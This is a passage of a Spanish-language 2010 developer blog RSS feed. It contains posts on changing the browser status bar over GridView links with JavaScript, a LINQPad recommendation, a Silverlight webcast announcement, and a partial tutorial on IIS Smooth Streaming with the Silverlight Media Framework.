<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Nota: Muchas gracias a <a target="_blank" href="http://geeks.ms/blogs/omarvr" title="Omar del Valle">Omar del Valle</a> por sus capturas de pantalla y revisi&oacute;n del art&iacute;culo.</span></p>
<p class="MsoNormal" align="center">&nbsp;</p>
<p><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/5_5F00_1.jpg" border="0" alt="" />
<div style="clear:both;"></div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2010/04/ataque-por-injeccion-de-codigo-a-la-web-de-second-nug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TIP: cambiando el Status Bar del navegador mediante JavaScript en un GridView</title>
		<link>http://nodevelop.com/blog/index.php/2010/04/tip-cambiando-el-status-bar-del-navegador-mediante-javascript-en-un-gridview/</link>
		<comments>http://nodevelop.com/blog/index.php/2010/04/tip-cambiando-el-status-bar-del-navegador-mediante-javascript-en-un-gridview/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 13:45:54 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[tip]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=81</guid>
		<description><![CDATA[

C&#243;mo podemos cambiar el mensaje de la barra de estado (Status Bar) del navegador cuando un usuario pase por encima de los enlaces de un GridView para eliminar, editar&#8230;
&#160;
Dentro de las etiquetas HEAD del c&#243;digo ponemos el script:
&#160;

&#60;head runat=&#34;server&#34;&#62;
&#160;&#160;&#160; &#60;title&#62;&#60;/title&#62;
&#60;script language=&#34;javascript&#34;&#62;
function cambiar_link() {
&#160;&#160;&#160;&#160; ocultar = document.getElementsByTagName(&#34;a&#34;);
&#160;&#160;&#160;&#160; for (i = 0; i &#60; ocultar.length; i++) {
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; [...]]]></description>
			<content:encoded><![CDATA[<div class="post">
<div class="postsublist">
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;color:black;font-size:12pt;">C&oacute;mo podemos cambiar el mensaje de la barra de estado (Status Bar) del navegador cuando un usuario pase por encima de los enlaces de un GridView para eliminar, editar&#8230;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;color:black;font-size:12pt;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;color:black;font-size:12pt;">Dentro de las etiquetas HEAD del c&oacute;digo ponemos el script:</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;color:black;font-size:12pt;">&nbsp;</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;">&lt;</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;">head</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"> <span style="color:red;">runat</span><span style="color:blue;">=&quot;server&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">&lt;</span><span style="color:#a31515;">title</span><span style="color:blue;">&gt;&lt;/</span><span style="color:#a31515;">title</span><span style="color:blue;">&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;">&lt;</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;">script</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"> <span style="color:red;">language</span><span style="color:blue;">=&quot;javascript&quot;&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;">function</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"> cambiar_link() {</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp; </span>ocultar = document.getElementsByTagName(<span style="color:#a31515;">&quot;a&quot;</span>);</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">for</span> (i = 0; i &lt; ocultar.length; i++) {</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">if</span> (ocultar[i].innerHTML == <span style="color:#a31515;">&quot;Editar&quot;</span>)</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ocultar[i].onmouseover = <span style="color:blue;">new</span> Function(<span style="color:#a31515;">&quot;window.status=&#39;Editando&#39;;return true&quot;</span>);</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">else</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ocultar.item(i).onmouseover = <span style="color:blue;">new</span> Function(<span style="color:#a31515;">&quot;window.status=&#39;&#39;;return true&quot;</span>);</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-ansi-language:EN-US;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">}</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;</span>}<span style="mso-spacerun:yes;">&nbsp; </span></span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;</span><span style="color:blue;">&lt;/</span><span style="color:#a31515;">script</span><span style="color:blue;">&gt;</span> </span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&lt;/</span><span style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;">head</span><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&gt;</span></p>
</div>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">Y en la etiqueta BODY:</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&lt;</span><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;">body</span><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"> <span style="color:red;">onLoad</span><span style="color:blue;">=&quot;cambiar_link()&quot;&gt;</span></span><span style="line-height:115%;font-size:12pt;"></span></p>
</div>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;color:blue;font-size:12pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">De esta forma sencilla y mediante Javascript podemos recoger todos los elementos de la p&aacute;gina que tengan la etiqueta &ldquo;a&rdquo; y luego de entre ellos buscar aquellos que tengan el texto que deseemos, en nuestro caso Editar. </span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">(ejemplo: &lt;a href=<a href="http://geeks.ms/blogs/jsosa"><span style="color:windowtext;">http://geeks.ms/blogs/jsosa</span></a>&gt;texto&lt;/a&gt;)</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">Si lo encuentra ponemos el status que queramos, o lo podemos dejar en blanco.</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">Si quisieramos por ejemplo cambiar el texto que aparece de ese link utilizaremos:</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dash-small-gap windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp; </span><span style="mso-spacerun:yes;">&nbsp;</span>ocultar[i].innerHTML = &quot;NuevoNombre&quot;;</span></p>
</div>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">Espero que os sea de ayuda.</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Arial&#39;,&#39;sans-serif&#39;;font-size:12pt;mso-no-proof:yes;">Un saludo.</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p>&nbsp;</p>
<div style="clear:both;"></div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2010/04/tip-cambiando-el-status-bar-del-navegador-mediante-javascript-en-un-gridview/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LINQPad: mejorando nuestras queries LINQ</title>
		<link>http://nodevelop.com/blog/index.php/2010/03/linqpad-mejorando-nuestras-queries-linq/</link>
		<comments>http://nodevelop.com/blog/index.php/2010/03/linqpad-mejorando-nuestras-queries-linq/#comments</comments>
		<pubDate>Sun, 28 Mar 2010 18:54:16 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[lambda]]></category>
		<category><![CDATA[linq]]></category>
		<category><![CDATA[linq2sql]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=79</guid>
		<description><![CDATA[

Excelente herramienta que nos va a permitir aprender de una vez por todas LINQ. Dispone de una versi&#243;n standard free que vamos a poder utilizar en nuestros desarrollos. 

LINQ to Objects
LINQ to SQL and Entity Framework
LINQ to XML
WCF Data Services &#38; SQL Azure
LINQ to SQLite y MySQL Enterprise Server
Mindscape LightSpeed ORM
Incluso el &#34;obsoleto &#34; SQL
son [...]]]></description>
			<content:encoded><![CDATA[<div class="post">
<div class="postsublist">
<p>Excelente herramienta que nos va a permitir aprender de una vez por todas LINQ. Dispone de una versi&oacute;n standard free que vamos a poder utilizar en nuestros desarrollos. </p>
<p style="padding-left:90px;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/linqpadmed.png"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/linqpadmed.png" border="0" alt="" /></a></p>
<li>LINQ to Objects</li>
<li>LINQ to SQL and Entity Framework</li>
<li>LINQ to XML</li>
<li>WCF Data Services &amp; SQL Azure</li>
<li>LINQ to SQLite y MySQL Enterprise Server</li>
<li>Mindscape LightSpeed ORM</li>
<li>Incluso el &quot;obsoleto &quot; SQL</li>
<p>son los entornos en los que nos vamos a poder mover. &Eacute;sta versi&oacute;n esta disponible para el framework 3.5 pero tambi&eacute;n est&aacute; ya una beta para .NET 4.</p>
<p>Sin duda muy interesante, no dejes de testearla. Desc&aacute;rgala de <a target="_blank" href="http://www.linqpad.net" title="LINQPad">aqu&iacute;</a>.</p>
<p>Un saludo,</p>
<p>Joaqu&iacute;n Sosa.</p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2010/03/linqpad-mejorando-nuestras-queries-linq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Second Nug] Aplicaciones de gestión con Silverlight + RIA Service</title>
		<link>http://nodevelop.com/blog/index.php/2010/03/second-nug-aplicaciones-de-gestion-con-silverlight-ria-service/</link>
		<comments>http://nodevelop.com/blog/index.php/2010/03/second-nug-aplicaciones-de-gestion-con-silverlight-ria-service/#comments</comments>
		<pubDate>Sun, 28 Mar 2010 13:46:38 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[evento]]></category>
		<category><![CDATA[RIA Services]]></category>
		<category><![CDATA[Second Nug]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[webcast]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=76</guid>
		<description><![CDATA[

Silverlight, RIA Service, demos, sin duda, se trata de un nuevo evento de Second Nug.
Si quieres saber los principales componentes de una aplicaci&#243;n de gesti&#243;n con Silverlight no puedes perderte esta oportunidad que nos trae Braulio Diez, Senior Consultant en Avanade y MVP de Silverlight y Second NUG el pr&#243;ximo d&#237;a 6 de&#160;abril de 19.30 [...]]]></description>
			<content:encoded><![CDATA[<div class="post">
<div class="postsublist">
<p>Silverlight, RIA Service, demos, sin duda, se trata de un nuevo evento de Second Nug.</p>
<p>Si quieres saber los principales componentes de una aplicaci&oacute;n de gesti&oacute;n con Silverlight no puedes perderte esta oportunidad que nos trae <span style="font-size:x-small;"><span style="font-family:Verdana;"><strong>Braulio Diez</strong>, Senior Consultant en Avanade y MVP de Silverlight y Second NUG el pr&oacute;ximo d&iacute;a <strong>6 de&nbsp;abril de 19.30 a 21.30 (GMT + 1).</strong></span></span></p>
<p><img src="http://www.secondnug.com/img/eventos/carteles/foro_silverlight.jpg" border="0" style="max-width:550px;" alt="" /></p>
<p>&nbsp;</p>
<p>Puedes registrarte en <a href="http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032445394&amp;Culture=es-ES">http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032445394&amp;Culture=es-ES</a></p>
<p>Esperamos verte all&iacute;. &iexcl;Pasamos lista!</p>
<p>Un saludo.</p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2010/03/second-nug-aplicaciones-de-gestion-con-silverlight-ria-service/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Smooth Streaming con Microsoft Silverlight Media Framework (SMF)</title>
		<link>http://nodevelop.com/blog/index.php/2010/03/smooth-streaming-con-microsoft-silverlight-media-framework-smf/</link>
		<comments>http://nodevelop.com/blog/index.php/2010/03/smooth-streaming-con-microsoft-silverlight-media-framework-smf/#comments</comments>
		<pubDate>Sun, 28 Mar 2010 13:44:27 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[IIS7]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[Streaming]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=73</guid>
		<description><![CDATA[

Haciendo pruebas para un amigo que me coment&#243; acerca de las posibilidades de hacer streaming de video con Internet Information Services 7 (IIS 7) me acord&#233; que en el MIX10 se habl&#243; del reproductor realizado en Silverlight para los Juegos Ol&#237;mpicos de Invierno de Vancouver.
&#160;Este reproductor est&#225; desarrollado utilizando el open source Silverlight Media Framework [...]]]></description>
			<content:encoded><![CDATA[<div class="post">
<div class="postsublist">
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Haciendo pruebas para un amigo que me coment&oacute; acerca de las posibilidades de hacer streaming de video con Internet Information Services 7 (IIS 7) me acord&eacute; que en el MIX10 se habl&oacute; del reproductor realizado en Silverlight para los Juegos Ol&iacute;mpicos de Invierno de Vancouver.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span><span style="font-family:Calibri;font-size:small;">Este reproductor est&aacute; desarrollado utilizando el open source <b style="mso-bidi-font-weight:normal;">Silverlight Media Framework</b> que<span style="mso-spacerun:yes;">&nbsp; </span>podemos descargar de </span><a target="_blank" href="http://smf.codeplex.com/"><span style="font-family:Calibri;font-size:small;">Codeplex</span></a><span style="font-family:Calibri;font-size:small;"> y que nos permite utilizar el IIS Smooth Streaming.<span style="mso-spacerun:yes;">&nbsp; </span>Tal y como vemos en codeplex,<span style="mso-spacerun:yes;">&nbsp; </span>SMF est&aacute; basado en el Smooth Streaming Player Developer Kit.</span></p>
<p><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight_5F00_logo.jpg"></a></p>
<p><span style="font-family:Calibri;font-size:small;">&nbsp;</span> </p>
<p><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight_5F00_logo.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;</p>
</p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Conociendo esto, voy a indicar en unos sencillos pasos como configurar el IIS para hacer streaming. Luego, <span style="mso-spacerun:yes;">&nbsp;</span>a partir de un recurso multimedia<span style="mso-spacerun:yes;">&nbsp; </span>que tengamos como por ejemplo un video en formato AVI, vamos a utilizar el Expression Encoder 3 para codificar el video AVI al formato deseado.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Finalmente veremos c&oacute;mo utilizar el reproductor para personalizarlo y poder ver el video en streaming alojado en el IIS desde cualquier navegador en cualquier sitio.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Lo primero es configurar el IIS agreg&aacute;ndole la Smooth Streaming extensi&oacute;n. Para ello<span style="mso-spacerun:yes;">&nbsp; </span>descargamos el IIS Media Services 3.0 desde </span><a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=dc4e95b0-e4de-456e-8254-a5047eabcd01&amp;displaylang=en"><span style="font-family:Calibri;font-size:small;">aqu&iacute;</span></a><span style="font-family:Calibri;font-size:small;"> teniendo en cuenta si nuestro sistema es de 32 o 64 bits. (para m&aacute;s informaci&oacute;n o problemas de instalaci&oacute;n ver </span><a target="_blank" href="http://www.iis.net/community/files/media/smoothstream_readme.htm"><span style="font-family:Calibri;font-size:small;">aqu&iacute;</span></a><span style="font-family:Calibri;font-size:small;"> )</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Una vez instalado abrimos el administrador de IIS y en la parte inferior al hacer clic en nuestro sitio web por defecto podemos ver la secci&oacute;n de media.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/IIS1.jpg"></a></span><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/IIS1.jpg" border="0" alt="" /></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Picando en Smooth Streaming podemos ver las caracter&iacute;sticas como n&uacute;mero de peticiones e intervalos, cach&eacute; de servidor&hellip;</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/IIS2.jpg"></a></span></p>
<p><span style="font-family:Calibri;font-size:small;">&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/IIS2.jpg" border="0" alt="" /></span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Una vez tenemos listo el IIS vamos a tratar el video AVI para poder hacer streaming. Vamos a aplicarle un c&oacute;dec para poder facilitar su transmisi&oacute;n v&iacute;a streaming.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Para ello abrimos el Microsoft Expression Encoder 3 e importamos el video al trabajo (men&uacute; Archivo &gt; Importar)</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_1.jpg"></a></span></p>
<p><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_1.jpg" border="0" alt="" /></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Una vez tenemos el video totalmente importado (tarda dependiendo de su peso), vamos a elegir los c&oacute;decs de salida de audio y video&hellip;</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_2.jpg"></a></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_2.jpg" border="0" alt="" /></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"></span><span style="font-family:Calibri;font-size:small;">En el panel de la derecha en Sistema elegimos <b style="mso-bidi-font-weight:normal;">Codificaci&oacute;n para Silverlight </b><span style="mso-spacerun:yes;">&nbsp;</span>y Transmisi&oacute;n para secuencias suave IIS. Luego en la pesta&ntilde;a Codificar:</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_3.jpg" border="0" alt="" /></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"></span><span style="mso-fareast-language:ES;mso-no-proof:yes;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_3.jpg"></a></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Elegimos como formato de salida Trasmisi&oacute;n por secuencias suave IIS y el c&oacute;dec de video H.264 y el de audio AAC.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Finalmente en la pesta&ntilde;a <b style="mso-bidi-font-weight:normal;">Salida</b> podemos seleccionar si queremos ver alguna miniatura que represente el video (un fotograma en particular o personalizarlo), podemos usar las plantillas que nos ofrece <b style="mso-bidi-font-weight:normal;">Expression Encoder 3 </b>de reproductor y debemos elegir el nombre del archivo multimedia. Por <b style="mso-bidi-font-weight:normal;">ejemplo {Nombre de archivo original}. {Extensi&oacute;n predeterminada}</b>.<span style="mso-spacerun:yes;">&nbsp; </span>Le decimos el directorio de salida (tenemos que tener presente que este directorio tiene que tener permisos de escritura, ojo si seleccionamos directamente alg&uacute;n directorio dentro de Inetpub.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">En la pesta&ntilde;a <b style="mso-bidi-font-weight:normal;">Metadatos</b> podemos poner el t&iacute;tulo, Autor,&hellip; del video.</span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_4.jpg" border="0" alt="" /></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"></span><span style="mso-fareast-language:ES;mso-no-proof:yes;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_4.jpg"></a></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Una vez todo listo le damos a <b style="mso-bidi-font-weight:normal;">Codificar </b><span style="mso-spacerun:yes;">&nbsp;</span>y a esperar, que lleva su tiempo.</span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_5.jpg"></a></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/EE3_5F00_5.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">En la siguiente pantalla muestro los archivos generados en el proceso:</span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/VideoSalida.jpg"></a></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/VideoSalida.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Aunque el Expression Encoder 3 <span style="mso-spacerun:yes;">&nbsp;</span>ya nos ha generado unas plantillas de reproductor (archivos Default.html, MediaPlayerTemplate.xap y SmoothStreaming.xap) ,nosotros vamos a crear un reproductor utilizando el SMF.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Creamos un nuevo proyecto Silverlight &gt; Aplicaci&oacute;n de Silverlight. Y elegimos hospedarla en un proyecto de aplicaci&oacute;n ASP.NET (en nuestro caso).</span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight1.jpg"></a></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight1.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal" align="center"><span style="mso-fareast-language:ES;mso-no-proof:yes;"></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Tendremos creados los dos proyectos siguientes:</span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight2.jpg"></a></span></p>
